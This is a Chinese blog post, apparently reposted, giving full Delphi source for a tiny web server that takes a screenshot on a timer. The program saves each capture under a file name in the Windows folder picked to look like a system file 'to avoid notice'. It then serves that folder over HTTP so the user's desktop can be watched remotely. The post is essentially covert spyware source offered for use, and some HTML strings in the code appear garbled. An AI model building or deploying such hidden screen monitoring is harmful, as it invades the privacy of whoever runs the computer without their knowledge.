标签：
简单的webserver而已，不过实现的功能有些猥琐，可以在远程监控你的桌面一举一动~~
代码如下：
[code=delphi]unit Main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ActnList, StdCtrls, IdComponent, IdTCPServer, IdHTTPServer, Buttons,
ComCtrls, IdGlobal, IdBaseComponent, IdThreadMgr, IdThreadMgrDefault, syncobjs,
IdThreadMgrPool, ExtCtrls, IdIntercept, IdIOHandlerSocket,
IdCustomHTTPServer, idSocketHandle,shellapi, Winsock, jpeg;
{偶承认这里是乱来的，我也不知道都use了啥，填了一堆...-_-!}
type
TfmHTTPServerMain = class(TForm)
HTTPServer: TIdHTTPServer;
edPort: TEdit;
cbActive: TCheckBox;
edRoot: TEdit;
LabelRoot: TLabel;
Label1: TLabel;
Button1: TButton;
Label2: TLabel;
Timer1: TTimer;
procedure acActivateExecute(Sender: TObject);
procedure HTTPServerCommandGet(AThread: TIdPeerThread;
RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
UILock: TCriticalSection;
{ Private declarations }
public
{ Public declarations }
EnableLog: boolean;
MIMEMap: TIdMIMETable;
end;
var
fmHTTPServerMain: TfmHTTPServerMain;
jiance:Boolean;
implementation
uses FileCtrl, IdStack;
{$R *.DFM}
function GetLocalIP: string;
type
TaPInAddr = array[0..255] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe: PHostEnt;
pptr: PaPInAddr;
Buffer: array[0..63] of char;
i: integer;
GInitData: TWSADATA;
begin
wsastartup($101, GInitData);
result := ‘‘;
GetHostName(Buffer, SizeOf(Buffer));
phe := GetHostByName(buffer);
if not assigned(phe) then
exit;
pptr := PaPInAddr(Phe^.h_addr_list);
i := 0;
while pptr^[I] <> nil do
begin
result := {Result +}StrPas(inet_ntoa(pptr^[I]^)) + ‘,‘;
inc(i);
end;
Delete(Result, Length(Result), 1);
wsacleanup;
end;{获取IP的函数}
procedure TfmHTTPServerMain.acActivateExecute(Sender: TObject);
var
Binding : TIdSocketHandle;
begin
if jiance then
begin
cbActive.Checked:=True;
jiance:=False;
end
else
begin
cbActive.Checked:= False;
jiance:=True;
end;
if not HTTPServer.Active then
begin
HTTPServer.Bindings.Clear;
Binding := HTTPServer.Bindings.Add;
Binding.Port := StrToIntDef(edPort.text, 80);
Binding.IP := GetLocalIP;
caption := ‘已启动‘;
end;
if not DirectoryExists(edRoot.text) then
begin
cbActive.Checked:= False;
end
else
begin
if cbActive.Checked then
begin
try
HTTPServer.Active := true;
except
on e: exception do
begin
cbActive.Checked := False;
end;
end;
end
else
begin
HTTPServer.Active := false;
caption := ‘未启动‘;
// SSL stuff
HTTPServer.Intercept := nil;
end;
end;
edPort.Enabled := not cbActive.Checked;
edRoot.Enabled := not cbActive.Checked;
end;
procedure TfmHTTPServerMain.HTTPServerCommandGet(AThread: TIdPeerThread;
RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);
var
LocalDoc: string;
ByteSent: Cardinal;
begin
LocalDoc := ExpandFilename(edRoot.text + RequestInfo.Document);
if not FileExists(LocalDoc) then
begin
LocalDoc := ExpandFileName(LocalDoc);
end;
if FileExists(LocalDoc) then
begin
if AnsiSameText(RequestInfo.Command, ‘HEAD‘) then
begin
ResponseInfo.ResponseNo := 200;
ResponseInfo.ContentText := ‘
‘+‘‘+‘‘;
end
else
begin
ByteSent := HTTPServer.ServeFile(AThread, ResponseInfo, LocalDoc);
end;
end
else
begin
ResponseInfo.ResponseNo := 404;
ResponseInfo.ContentText := ‘
‘+‘‘+‘‘;
{edPort.Text是你设置的端口，windows目录下是有FeatherTexture.bmp的，为了掩人耳目，弄个差不多的FeatherTexture.jpeg~}
end;
{这个webserver貌似还有些问题，结构是我从indy的demo上扒下来的，貌似每次返回的都是404代码，所以偶为了防止出问题，采用了上面那段代码，就算是404，404页面也是有图片的，嘿嘿~~}
end;
procedure TfmHTTPServerMain.FormCreate(Sender: TObject);
begin
jiance:=True;
UILock := TCriticalSection.Create;
MIMEMap := TIdMIMETable.Create(true);
edRoot.text := ‘C:\windows‘;
if HTTPServer.active then caption := ‘已启动‘ else caption := ‘未启动‘;
Label2.Caption:= ‘当前IP：‘+GetLocalIP;
end;
procedure TfmHTTPServerMain.FormDestroy(Sender: TObject);
begin
MIMEMap.Free;
UILock.Free;
end;
procedure TfmHTTPServerMain.Button1Click(Sender: TObject);
begin
ShellExecute(handle,nil,pchar(‘http://‘+GetLocalIP+‘:‘+edPort.Text),nil,nil,sw_shownormal);
end;
procedure TfmHTTPServerMain.Timer1Timer(Sender: TObject);
var
Fullscreen:Tbitmap;
FullscreenCanvas:TCanvas;
dc:HDC;
MyJPEG : TJPEGImage;
begin
Fullscreen:=TBitmap.Create;
Fullscreen.Width:=screen.width;
Fullscreen.Height:=screen.Height;
DC:=GetDC(0);
FullscreenCanvas:=TCanvas.Create;
FullscreenCanvas.Handle:=DC;
Fullscreen.Canvas.CopyRect(Rect(0,0,screen.Width,screen.Height),
fullscreenCanvas,Rect(0,0,Screen.Width,Screen.Height));
FullscreenCanvas.Free;
ReleaseDC(0,DC);
myjpeg:= TJPEGImage.Create;
myjpeg.Assign(Fullscreen);
myjpeg.CompressionQuality:=100; //压缩比例，100是最清晰状态。
myjpeg.Compress;
try
myjpeg.SaveToFile(‘c:\windows\FeatherTexture.JPEG‘);//保存路径，可以随便选，但是一定要和上面的webserver路径吻合。
myjpeg.Free;
fullscreen.free;
except
end;
end;
end.
[/code]
截个图瞧瞧：
转载请注明：鸟儿博客 » delphi之猥琐的webserver实现
标签：
原文地址：http://www.cnblogs.com/delphi-xe5/p/5461161.html
